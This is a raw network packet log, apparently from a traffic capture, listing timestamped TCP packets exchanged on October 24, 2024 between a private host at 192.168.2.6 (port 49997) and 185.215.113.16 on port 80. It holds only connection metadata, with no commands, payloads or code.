Oct 24, 2024 09:08:16.071440935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071458101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071469069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071496010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071521044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071538925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071562052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071574926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071593046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071610928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071625948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071645975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071660995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071686983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071717978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071723938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071748018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071768999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102154970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102293015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102307081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102353096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102356911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102416039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102416039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102456093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102474928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102528095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102530003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102567911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102581978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102605104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102642059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102642059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102663040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102680922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102694988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102719069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102758884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102773905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102783918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102829933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102832079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102873087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102880001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102909088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.102920055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.102966070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103014946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103020906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103049040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103054047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103089094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103089094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103111982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103126049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103141069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103161097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103177071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103197098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103212118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103233099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103252888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103292942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103308916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103351116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103383064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103420973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103451014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103455067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103471041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103490114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103507996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103535891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103543997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103579998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103596926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103625059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103631973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103668928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103682995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103714943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103719950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103756905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103769064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103802919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103810072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103848934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103861094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103883982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103894949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103920937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103929996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103956938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.103972912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.103993893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104005098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104031086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104043007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104067087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104084015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104100943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104135990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104141951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104161024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104176044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104192019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104212046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104223967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104248047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104258060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104285955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104295015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104321957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104336977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104358912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104367971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104391098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104407072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104429007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104438066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104465961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104476929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104500055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104512930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104536057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104549885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104573011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104598045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104607105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104620934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104644060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104665995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104682922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104700089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104718924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104732037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104757071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104772091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104794979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104804993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104831934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104842901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104865074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104883909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104898930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104913950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104935884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104947090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.104970932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.104981899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.105017900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.142858982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.142936945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.142992973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143049002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143059969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143086910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143111944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143124104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143141985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143162012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143177032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143198013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143215895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143234968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143254042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143270969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143294096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143306971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143333912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143368006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143393040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143409967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143440008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143445969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143464088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143481970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143516064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143517017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143549919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143558025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143577099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143591881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143625975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143656015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143656969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143661976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143677950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143695116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143729925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143731117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143764019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143764973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143788099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143800974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.143820047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.143857956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.166704893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.166743994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.166800022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.166836023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.166836023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.166908026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.166914940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.166951895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.166964054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.166989088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167000055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167023897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167035103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167062044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167071104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167097092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167109966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167133093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167140961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167169094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167180061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167203903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.167218924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.167258024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187277079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187308073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187342882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187369108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187382936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187429905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187439919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187488079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187494040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187530994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187541008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187566996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187575102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187613010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187623978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187657118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187678099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187753916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187757015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187793970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187804937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187839985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187848091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187899113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187901974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187937021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187966108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.187969923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.187984943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188003063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188019991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188051939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188059092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188100100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188112974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188146114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188160896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188180923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188189983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188213110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188231945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188262939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188266993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188308954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188332081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188342094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188354969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188399076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188399076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188435078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188457966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188469887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188472986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188507080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188514948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188544035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188551903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188579082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188590050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188616037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188621998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188652039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188663006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188692093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188702106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188725948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188740969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188762903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188791037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188801050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188813925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188838959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188857079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188874006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188885927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188910007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.188920975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.188952923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219098091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219135046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219187975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219197035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219216108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219223976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219238043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219261885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219279051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219295025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219316959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219338894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219350100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219403028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219404936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219441891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219465017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219475985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219500065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219513893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219520092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219544888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219575882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219587088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219600916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219650984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219652891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219701052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219707012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219742060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.219753027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219784021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.219794989 CEST	80	49997	185.215.113.16	192.168.2.6
